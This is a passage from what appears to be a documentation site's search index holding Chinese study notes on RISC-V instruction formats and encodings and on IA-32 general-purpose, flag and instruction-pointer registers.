<li><code>imm</code>\u8303\u56f4\u5728-2048~2047\uff0c\u4f4d\u6570\u4e0d\u591f\u65f6\u4f1a\u6269\u5c55\u7b26\u53f7\u4f4d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 110 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>ori rd,rs1,imm</code> <code>rd = rs1 | imm</code></li> <li><code>imm</code>\u8303\u56f4\u5728-2048~2047\uff0c\u4f4d\u6570\u4e0d\u591f\u65f6\u4f1a\u6269\u5c55\u7b26\u53f7\u4f4d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 100 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>xori rd,rs1,imm</code> <code>rd = rs1 ^ imm</code></li> <li><code>imm</code>\u8303\u56f4\u5728-2048~2047\uff0c\u4f4d\u6570\u4e0d\u591f\u65f6\u4f1a\u6269\u5c55\u7b26\u53f7\u4f4d</li> <li>\u9700\u8981\u6ce8\u610f\u7684\u662f<code>xori rd,rs1,-1</code>\u7b49\u4ef7\u4e8e\u4e0e\u51681\u5f02\u6216:<code>rd=~rs1</code></li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 shamt rs1 001 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>slli rd,rs1,shamt</code> <code>rd = rs1 &lt;&lt; shamt</code></li> <li>\u903b\u8f91\u5de6\u79fb</li> <li><code>shmat</code>\u5728\u539f\u6765<code>rs2</code>\u7684\u4f4d\u7f6e\u4e0a,\u4e3a\u4e94\u4f4d\u7acb\u5373\u6570\uff1b\u6b64\u65f6\u7a7a\u51fa\u6765\u76f8\u5f53\u4e8e\u539f\u6765\u7684<code>func7</code></li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 shamt rs1 101 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>srli rd,rs1,shamt</code> <code>rd = rs1 &gt;&gt; shamt</code></li> <li>\u903b\u8f91\u53f3\u79fb</li> <li><code>shmat</code>\u5728\u539f\u6765<code>rs2</code>\u7684\u4f4d\u7f6e\u4e0a,\u4e3a\u4e94\u4f4d\u7acb\u5373\u6570\uff1b\u6b64\u65f6\u7a7a\u51fa\u6765\u76f8\u5f53\u4e8e\u539f\u6765\u7684<code>func7</code></li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0100000 shamt rs1 101 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>srai rd,rs1,shamt</code> <code>rd = $signed(rs1) &gt;&gt;&gt; shamt</code></li> <li>\u7b97\u6570\u53f3\u79fb\uff0c\u9ad8\u4f4d\u8865\u7b26\u53f7\u4f4d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 000 rd 1100111 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>jalr rd,rs1,imm</code> <code>rd = pc+4; pc = (rs1 + imm) &amp; ~1</code>,\u5373\u6700\u4f4e\u4f4d\u4e3a0</li> <li>\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610f\u4f4d\u7f6e\u7684\u8df3\u8f6c</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 000 rd 0000011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lb rd,imm(rs1)</code> <code>rd = {{24M[rs1+imm][7]},M[rs1 + imm][7:0]}</code></li> <li>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u5b57\u8282\u7684\u6570\u636e\uff0c\u7b26\u53f7\u6269\u5c55\u523032\u4f4d\uff0c\u5b58\u5230<code>rd</code>\u4e2d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 001 rd 0000011 </p> <ul> <li> <p>\u4f7f\u7528\u683c\u5f0f <code>lh rd,imm(rs1)</code> <code>rd = {{16M[rs1+imm][15]},M[rs1 + imm][15:0]}</code></p> </li> <li> <p>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u534a\u5b57\u7684\u6570\u636e\uff0c\u5b58\u5230<code>rd</code>\u7684\u4f4e16\u4f4d\uff0c\u7b26\u53f7\u6269\u5c55\u523032\u4f4d</p> </li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 010 rd 0000011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lw rd,imm(rs1)</code> <code>rd = M[rs1 + imm]</code></li> <li>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u5b57\u7684\u6570\u636e\uff0c\u5b58\u5230<code>rd</code>\u4e2d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 100 rd 0000011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lbu rd,imm(rs1)</code>  `rd = M[rs1 + imm][7:0]</li> <li>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u5b57\u8282\u7684\u6570\u636e\uff0c\u96f6\u6269\u5c55\u523032\u4f4d\uff0c\u5b58\u5230<code>rd</code>\u4e2d(\u9ad8\u4f4d\u51680)  </li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 101 rd 0000011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lhu rd,imm(rs1)</code> <code>rd = M[rs1 + imm][15:0]</code></li> <li>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u534a\u5b57\u7684\u6570\u636e\uff0c\u96f6\u6269\u5c55\u523032\u4f4d\uff0c\u5b58\u5230<code>rd</code>\u4e2d(\u9ad8\u4f4d\u51680)</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 000000000000 00000 000 00000 1110011   - \u4f7f\u7528\u683c\u5f0f <code>ecall</code> <code>\u7cfb\u7edf\u8c03\u7528</code></p> <p> 31 20 19 15 14 12 11 7 6 0 000000000001 00000 000 00000 1110011   - \u4f7f\u7528\u683c\u5f0f<code>ebreak</code> ,\u5c06\u63a7\u5236\u6d41\u8f6c\u5230\u8c03\u8bd5\u73af\u5883</p> <p>store \u7c7b\u6307\u4ee4\uff0c\u5c06\u5bc4\u5b58\u5668\u4e2d\u7684\u6570\u636e\u5b58\u50a8\u5230\u5185\u5b58\u4e2d\uff0c\u5b58\u50a8\u7684\u5927\u5c0f\u7531<code>func3</code>\u51b3\u5b9a,\u6ca1\u6709<code>rd</code>\u5bc4\u5b58\u5668  31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 funct3 imm[4:0] opcode  \u7acb\u5373\u6570\u4e3a <pre><code>imm = {{20{inst[31]}}, inst[31:25], inst[11:7]}\n</code></pre> \u5c06<code>rd</code>\u76845\u4f4d\u548c<code>func7</code>\u76847\u4f4d\u4e00\u517112\u4f4d\u7ec4\u5408\u6210\u4e00\u4e2a\u7acb\u5373\u6570</p> <p>\u5e38\u7528\u7684S-type\u6307\u4ee4</p> SBSHSW <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 000 imm[4:0] 0100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>sb rs2,imm(rs1)</code> <code>M[rs1 + imm] = rs2[7:0]</code></li> <li>\u5c06<code>rs2</code>\u7684\u4f4e8\u4f4d\u5b58\u5230\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 001 imm[4:0] 0100011   - \u4f7f\u7528\u683c\u5f0f <code>sh rs2,imm(rs1)</code> <code>M[rs1 + imm] = rs2[15:0]</code> - \u5c06<code>rs2</code>\u7684\u4f4e16\u4f4d\u5b58\u5230\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904</p> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 010 imm[4:0] 0100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>sw rs2,imm(rs1)</code> <code>M[rs1 + imm] = rs2</code></li> <li>\u5c06<code>rs2</code>\u5b58\u5230\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904</li> </ul> <p>\u5728RISC-V\u6307\u4ee4\u96c6\u4e2d\uff0cB\u578b\uff08B-type\uff09\u6307\u4ee4\u7528\u4e8e\u6761\u4ef6\u5206\u652f\uff0c\u6839\u636e\u6bd4\u8f83\u7ed3\u679c\u51b3\u5b9a\u662f\u5426\u8df3\u8f6c\u5230\u6307\u5b9a\u7684\u504f\u79fb\u5730\u5740\u3002B\u578b\u6307\u4ee4\u901a\u5e38\u5305\u542b\u4e24\u4e2a\u5bc4\u5b58\u5668\u8fdb\u884c\u6bd4\u8f83\u4ee5\u53ca\u4e00\u4e2a\u7acb\u5373\u6570\u504f\u79fb\u91cf\uff08\u8868\u793a\u8df3\u8f6c\u7684\u8ddd\u79bb\uff09\u3002  31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 funct3 imm[4:1,11] opcode </p> <p>\u7acb\u5373\u6570\u4e3a <pre><code>imm={{19{inst[31]}}, inst[31], inst[7], inst[30:25], inst[11:8], 1'b0}\n</code></pre> \u6700\u4f4e\u4f4d\u4e3a0\uff0c\u4e0d\u5b58\uff1b\u6269\u5c55\u5230imm[12]\u4f4d\uff1b\u5c0613\u4f4d\u62fc\u63a5\u5b8c\u540e\uff0c\u5269\u4e0b\u9ad819\u4f4d\u7528<code>inst[31]</code>\u7b26\u53f7\u4f4d\u586b\u5145,\u6b64\u65f6imm[11]\u53ef\u4ee5\u4e0d\u662f\u7b26\u53f7\u4f4d\uff1bimm[12]\u662f\u7b26\u53f7\u4f4d</p> <p>\u5e38\u7528\u7684B-type\u6307\u4ee4</p> BEQBNEBLTBGEBLTUBGEU <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 000 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>beq rs1,rs2,imm</code> <code>if(rs1 == rs2) pc = pc + imm</code></li> <li>\u53ef\u4ee5\u8df3\u8f6c\u5230\\(\\pm 2^{12}Byte\\)\u7684\u4f4d\u7f6e,\u5373\\(\\pm 4KiB\\)</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 001 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>bne rs1,rs2,imm</code> <code>if(rs1 != rs2) pc = pc + imm</code></li> <li>\u53ef\u4ee5\u8df3\u8f6c\u5230\\(\\pm 2^{12}Byte\\)\u7684\u4f4d\u7f6e,\u5373\\(\\pm 4KiB\\)</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 100 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>blt rs1,rs2,imm</code> <code>if($signed(rs1) &lt; $signed(rs2)) pc = pc + imm</code></li> <li>\u6709\u7b26\u53f7\u6570           </li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 101 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>bge rs1,rs2,imm</code> <code>if($signed(rs1) &gt;= $signed(rs2)) pc = pc + imm</code></li> <li>\u6709\u7b26\u53f7\u6570</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 110 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>bltu rs1,rs2,imm</code> <code>if(rs1 &lt; rs2) pc = pc + imm</code></li> <li>\u65e0\u7b26\u53f7\u6570\u6bd4\u8f83</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 111 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>bgeu rs1,rs2,imm</code> <code>if(rs1 &gt;= rs2) pc = pc + imm</code></li> <li>\u65e0\u7b26\u53f7\u6570\u6bd4\u8f83</li> </ul> <p> 31 12 11 7 6 0 imm[31:12] rd opcode </p> <p>\u6ca1\u6709\u6e90\u64cd\u4f5c\u6570\uff0c\u53ea\u6709\u76ee\u7684\u64cd\u4f5c\u6570\uff0c\u7acb\u5373\u6570\u4e3a <pre><code>imm={inst[31:12], 12'b0}\n</code></pre></p> <p>U-type\u6307\u4ee4</p> LUIAUIPC <p> 31 12 11 7 6 0 imm[31:12] rd 0110111 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lui rd,imm</code> <code>rd = imm &lt;&lt; 12</code></li> <li>\u5c06<code>imm</code>\u4f4d\u5b58\u5165<code>rd</code>\u9ad820\u4f4d</li> <li><code>imm</code>\u4e0d\u80fd\u8d85\u8fc720\u4f4d</li> </ul> <p> 31 12 11 7 6 0 imm[31:12] rd 0010111 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>auipc rd,imm</code> <code>rd = pc + imm &lt;&lt; 12</code></li> <li>aupic\u610f\u601d\u662fadd upper immediate to pc\uff0c\u5c06imm \u52a0\u8f7d\u5230\u9ad8 20 \u4f4d\uff0c\u7136\u540e\u52a0\u4e0a pc \u503c</li> <li><code>imm</code>\u4e0d\u80fd\u8d85\u8fc720\u4f4d</li> </ul> <p> 31 12 11 7 6 0 imm[20,10:1,11,19:12] rd opcode </p> <p>\u7acb\u5373\u6570\u4e3a <pre><code>imm={{11{inst[31]}}, inst[31], inst[19:12], inst[20], inst[30:21], 1'b0}\n</code></pre> <code>imm</code>\u6700\u4f4e\u4f4d0\u4e0d\u5b58\uff0c\u6b64\u65f6<code>imm[20]</code>\u662f\u7b26\u53f7\u4f4d\uff0c<code>imm</code>\u76f8\u5f53\u4e8e21\u4f4d\u6709\u7b26\u53f7\u6570 ,\u8df3\u8f6c\u8303\u56f4\u662f\\(\\pm 2^{20}\\)</p> <p>JAL\u6307\u4ee4</p> <p> 31 12 11 7 6 0 imm[20,10:1,11,19:12] rd 1101111 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>jal rd,imm</code> <code>rd = pc + 4; pc = pc + imm</code></li> <li>\u5c06<code>pc+4</code>\u5b58\u5165<code>rd</code>\uff0c\u7136\u540e\u8df3\u8f6c\u5230<code>pc+imm</code>\u5904</li> <li>Jal\u6307\u4ee4\u7684\u8df3\u8f6c\u8303\u56f4\u662f\\(\\pm 2^{20}Byte\\)\uff0c\u5373\\(\\pm 1MiB\\)</li> </ul>"},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/","title":"\u8349\u7a3f","text":"<p> \u7ea6 443 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p>"},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/#_1","title":"\u6570\u636e\u52a0\u8f7d\u6307\u4ee4","text":"lui U \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1alui imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08load upper immediate\uff09rd = imm &lt;&lt; 12 \u5c06 imm \u52a0\u8f7d\u5230 rd \u7684\u9ad8 20 \u4f4d</li> <li>\u6ce8\u610f\uff1aimm \u4e0d\u80fd\u8d85\u8fc7 20 \u4f4d\uff0crd \u4ee5\u5341\u516d\u8fdb\u5236\u8868\u793a\u5c31\u662f imm \u540e\u63a5\u4e09\u4e2a 0</li> </ul> auipc U \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1aauipc rd</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08add upper immediate with pc\uff09rd = pc + imm &lt;&lt; 12 \u5c06 imm \u52a0\u8f7d\u5230\u9ad8 20 \u4f4d\uff0c\u7136\u540e\u52a0\u4e0a pc \u503c</li> <li>\u6ce8\u610f\uff1a\u5e38\u7528\u6765\u6784\u5efa pc \u76f8\u5bf9\u5bfb\u5740\u7684\u5730\u5740\uff0cimm \u4e0d\u80fd\u8d85\u8fc7 20 \u4f4d</li> </ul>"},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/#_2","title":"\u63a7\u5236\u6d41\u53d8\u5316\u6307\u4ee4","text":""},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/#jump","title":"jump \u7c7b\u65e0\u6761\u4ef6\u8df3\u8f6c\u6307\u4ee4","text":"jal J \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1ajal rd, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08jump and link\uff09rd = pc+4, pc = pc+imm \u5373\u5c06\u5f53\u524d\u6307\u4ee4\u4e0b\u4e00\u6761\u6307\u4ee4\u7684\u5730\u5740\u5b58\u5165 rd\uff0c\u7136\u540e\u76f8\u5bf9\u8df3\u8f6c\u5230 imm \u5904</li> <li>\u6ce8\u610f\uff1aimm \u5728\u6c47\u7f16\u7a0b\u5e8f\u4e2d\u4e00\u822c\u7528\u6807\u53f7\u6765\u6307\u5b9a\uff0cjal \u53ef\u4ee5\u8df3\u5230 \u00b11MiB \u8303\u56f4\u5185\u7684\u4ee3\u7801</li> </ul> jalr I \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1ajalr rd, imm(rs1)</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1ard = pc+4, pc = (imm+rs1) &amp; 0xFFFFFFFE \u5373\u6700\u4f4e\u4f4d\u4f1a\u88ab\u8bbe\u4e3a 0</li> <li>\u6ce8\u610f\uff1a\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610f\u4f4d\u7f6e\u8df3\u8f6c</li> </ul>"},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/#branch","title":"branch \u7c7b\u6761\u4ef6\u8df3\u8f6c\u6307\u4ee4","text":"beq B \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1abeq rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08branch if equal\uff09\u5982\u679c rs1 == rs2\uff0c\u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1a\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul> bne B \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1abne rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08branch if not equal\uff09\u5982\u679c rs1 != rs2\uff0c\u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1a\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul> blt B \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1ablt rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08branch if less than\uff09\u5982\u679c rs1 &lt; rs2 \u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1ars1 rs2 \u89c6\u4e3a\u6709\u7b26\u53f7\u6570\u8fdb\u884c\u6bd4\u8f83\uff0c\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul> bge B \u578b 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 101 imm[4:1,11] 1100011 <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1abge rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08branch if greater than or equal\uff09\u5982\u679c rs1 &gt;= rs2 \u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1ars1 rs2 \u89c6\u4e3a\u6709\u7b26\u53f7\u6570\u8fdb\u884c\u6bd4\u8f83\uff0c\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul> bltu B \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1abltu rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08blt unsigned\uff09\u5982\u679c rs1 &lt; rs2 \u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1ars1 rs2 \u89c6\u4e3a\u65e0\u7b26\u53f7\u6570\u8fdb\u884c\u6bd4\u8f83\uff0c\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul>"},{"location":"NOTE/CS/","title":"\u4e00\u4e9b\u81ea\u5b66","text":"<p> \u7ea6 18 \u4e2a\u5b57 </p> <p>\u4e0d\u5b9a\u671f\u66f4\u65b0</p> <p>\u76ee\u524d\u6709</p> <ul> <li>\u6c47\u7f16\u57fa\u7840</li> <li>Verilog</li> <li>Rust</li> </ul>"},{"location":"NOTE/CS/ASM/wk1/","title":"\u8ba1\u7b97\u673a\u7684\u786c\u4ef6\u7ec4\u6210\u7ed3\u6784","text":"<p> \u7ea6 3052 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p> <p>\u8ba1\u7b97\u673a\u6709\u4e09\u5927\u786c\u4ef6\u7ec4\u6210\u90e8\u5206</p> <ul> <li> <p>CPU:\u5305\u542b\u8fd0\u7b97\u5668\uff0c\u63a7\u5236\u5668\uff0c\u5bc4\u5b58\u5668</p> </li> <li> <p>\u4e3b\u5b58\u50a8\u5668</p> </li> <li> <p>I/O\u63a5\u53e3\uff1a\u8f85\u52a9\u5b58\u50a8\u5668\uff0c\u8f93\u5165\u8bbe\u5907\uff0c\u8f93\u51fa\u8bbe\u5907</p> </li> </ul> <p>\u800c\u6c47\u7f16\u7a0b\u5e8f\u5458\u5c06\u786c\u4ef6\u62bd\u8c61\u4e3a</p> <ul> <li> <p>\u5bc4\u5b58\u5668</p> </li> <li> <p>\u5b58\u50a8\u5668\u5730\u5740</p> </li> <li> <p>\u8f93\u5165\u8f93\u51fa\u5730\u5740 </p> </li> </ul>"},{"location":"NOTE/CS/ASM/wk1/#register","title":"\u5bc4\u5b58\u5668(Register)","text":"<p>Info</p> <p>\u5bc4\u5b58\u5668\u662f\u5904\u7406\u5668\u5185\u90e8\u7684\u9ad8\u901f\u5b58\u50a8\u5355\u5143,\u7528\u4e8e\u6682\u65f6\u5b58\u653e\u7a0b\u5e8f\u6267\u884c\u8fc7\u7a0b\u4e2d\u7684\u4ee3\u7801\u548c\u6570\u636e</p> <p>\u5927\u81f4\u53ef\u4ee5\u5206\u6210\u4e24\u7c7b</p> <ul> <li> <p>\u900f\u660e\u5bc4\u5b58\u5668\uff1a\u5bf9\u5e94\u7528\u4eba\u5458\u4e0d\u53ef\u89c1\uff0c\u4e0d\u80fd\u7f16\u7a0b\u76f4\u63a5\u63a7\u5236</p> </li> <li> <p>\u53ef\u7f16\u7a0b\uff08programmable\uff09\u5bc4\u5b58\u5668\uff1a\u5177\u6709\u5f15\u7528\u540d\u79f0\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f9b\u7f16\u7a0b\u4f7f\u7528</p> </li> </ul> <p>\u53ef\u7f16\u7a0b\u5bc4\u5b58\u5668\u53c8\u5206\u4e3a\u901a\u7528\u5bc4\u5b58\u5668\u548c\u4e13\u7528\u5bc4\u5b58\u5668</p>"},{"location":"NOTE/CS/ASM/wk1/#_2","title":"\u5904\u7406\u5668\u901a\u7528\u5bc4\u5b58\u5668","text":"<p>\u5904\u7406\u5668\u6700\u5e38\u4f7f\u7528\u6574\u6570\u901a\u7528\u5bc4\u5b58\u5668\uff0c\u53ef\u4ee5\u7528\u4e8e\u4fdd\u5b58\u6574\u6570\u6570\u636e\uff0c\u5730\u5740\u7b49</p> <p>32\u4f4d\u7684IA-32\u5904\u7406\u5668\u5177\u67098\u4e2a32\u4f4d\u901a\u7528\u5bc4\u5b58\u5668</p> <ul> <li>EAX\uff0cEBX\uff0cECX\uff0cEDX\uff0cESI\uff0cEDI\uff0cEBI\uff0cESP</li> </ul> Register English Name Chinese Name EAX Accumulator \u7d2f\u52a0\u5668 EBX Base Address \u57fa\u5740\u5bc4\u5b58\u5668 ECX Counter \u8ba1\u6570\u5668 EDX Data \u6570\u636e\u5bc4\u5b58\u5668 ESI Source Index \u6e90\u53d8\u5740\u5bc4\u5b58\u5668 EDI Destination Index \u76ee\u7684\u53d8\u5740\u5bc4\u5b58\u5668 EBP Base Pointer \u57fa\u5740\u6307\u9488 ESP Stack Pointer \u5806\u6808\u6307\u9488 <p>\u6e90\u81ea16\u4f4d8086\u5904\u7406\u5668\u76848\u4e2a16\u4f4d\u901a\u7528\u5bc4\u5b58\u5668\uff08E\u4e3a\u6269\u5c55\uff0c\u5373extend\uff09</p> <ul> <li>AX\uff0cBX\uff0cCX\uff0cDX\uff0cSI\uff0cDI\uff0cBP\uff0cSP\uff0c\u524d\u56db\u4e2a\u5bc4\u5b58\u5668\u53ef\u5206\u9ad8\u4f4e\u5b57\u8282\uff0c\u5f62\u62108\u4e2a8\u4f4d\u7684\u901a\u7528\u5bc4\u5b58\u5668\uff1aAH,AL,BH,BL,CH,CL,DH,DL</li> </ul> <p>\u8fd9\u4f7f\u5f97\u8fd9\u4e9b\u5bc4\u5b58\u5668\u65e2\u662f\u4e00\u4e2a\u6574\u4f53\uff0c\u53c8\u53ef\u4ee5\u72ec\u7acb\u4f7f\u7528</p> \u56fe\u793a <p> </p>"},{"location":"NOTE/CS/ASM/wk1/#_3","title":"\u5904\u7406\u5668\u4e13\u7528\u5bc4\u5b58\u5668","text":"<p>\u4e13\u7528\u5bc4\u5b58\u5668\u4e3b\u8981\u6709\u4e09\u7c7b\uff0c\u6807\u5fd7\u5bc4\u5b58\u5668\uff0c\u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668\uff0c\u6bb5\u5bc4\u5b58\u5668</p>"},{"location":"NOTE/CS/ASM/wk1/#flag","title":"\u6807\u5fd7\uff08Flag\uff09\u5bc4\u5b58\u5668","text":"\u4ec0\u4e48\u662f\u6807\u5fd7 <p>\u6807\u5fd7\u4f53\u73b0\u4e86\u67d0\u79cd\u5de5\u4f5c\u72b6\u6001\uff0c\u6709\u4e9b\u5904\u7406\u5668\u6807\u5fd7\u7528\u4e8e\u53cd\u6620\u6307\u4ee4\u6267\u884c\u7ed3\u679c\uff08\u52a0\u51cf\u662f\u5426\u8fdb\u4f4d\u501f\u4f4d\uff0c\u6570\u636e\u662f\u5426\u4e3a0\uff0c\u6b63\u8d1f\uff09\uff0c\u6709\u4e9b\u5904\u7406\u5668\u6807\u5fd7\u7528\u4e8e\u63a7\u5236\u6307\u4ee4\u6267\u884c\u5f62\u5f0f\uff08\u5904\u7406\u5668\u662f\u5426\u5355\u6b65\u64cd\u4f5c\uff0c\u662f\u5426\u54cd\u5e94\u5916\u90e8\u4e2d\u65ad\uff09</p> <p>\u5404\u79cd\u6807\u5fd7\u7ec4\u5408\u5728\u4e00\u4e2a\u4e13\u7528\u5bc4\u5b58\u5668\u5f62\u6210\u6807\u5fd7\u5bc4\u5b58\u5668\uff0c8086\u652f\u630116\u4f4d\u7684\u6807\u5fd7\u5bc4\u5b58\u5668FLAGS</p> <p>IA-32\u5904\u7406\u5668\u5f62\u621032\u4f4dEFLAGS\u6807\u5fd7\u5bc4\u5b58\u5668</p> <ul> <li> <p>\u72b6\u6001\u6807\u5fd7\uff1a\u8bb0\u5f55\u6307\u4ee4\u6267\u884c\u7ed3\u679c\u7684\u8f85\u52a9\u4fe1\u606f\uff0c\u662f\u5904\u7406\u5668\u6700\u57fa\u672c\u7684\u6807\u5fd7</p> <ul> <li>\u52a0\u51cf\u8fd0\u7b97\u548c\u903b\u8f91\u8fd0\u7b97\u6307\u4ee4\u4e3b\u8981\u8bbe\u7f6e\u4ed6\u4eec</li> <li>\u5176\u4ed6\u6709\u4e9b\u6307\u4ee4\u7684\u6267\u884c\u4e5f\u4f1a\u76f8\u5e94\u5730\u8bbe\u7f6e\u4ed6\u4eec</li> <li>\u5904\u7406\u5668\u4e3b\u8981\u4f7f\u7528\u5176\u4e2d5\u4e2a\u6784\u6210\u5404\u79cd\u6761\u4ef6\uff08\u5206\u652f\u6307\u4ee4\u5224\u65ad\u8fd9\u4e9b\u6761\u4ef6\u5b9e\u73b0\u7a0b\u5e8f\u5206\u652f\uff09</li> </ul> </li> <li> <p>\u63a7\u5236\u6807\u5fd7\uff1a \u65b9\u5411\u6807\u5fd7DF\uff0c\u4ec5\u7528\u4e8e\u4e32\u64cd\u4f5c\u6307\u4ee4</p> </li> <li>\u7cfb\u7edf\u6807\u5fd7\uff1a \u63a7\u5236\u64cd\u4f5c\u7cfb\u7edf\u6216\u6838\u5fc3\u7ba1\u7406\u7a0b\u5e8f\u7684\u64cd\u4f5c\u65b9\u5f0f</li> </ul>"},{"location":"NOTE/CS/ASM/wk1/#eip","title":"\u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668EIP","text":"<p>\u7528\u4e8e\u4fdd\u5b58 \u5c06\u8981\u6267\u884c\u7684\u6307\u4ee4\u5728\u4e3b\u5b58\u7684\u5b58\u50a8\u5668\u5730\u5740 \uff0c\u76f8\u5f53\u4e8e\u4e00\u4e2a\u6307\u5411\u5c06\u8981\u6267\u884c\u6307\u4ee4\u7684\u6307\u9488</p> <ul> <li> 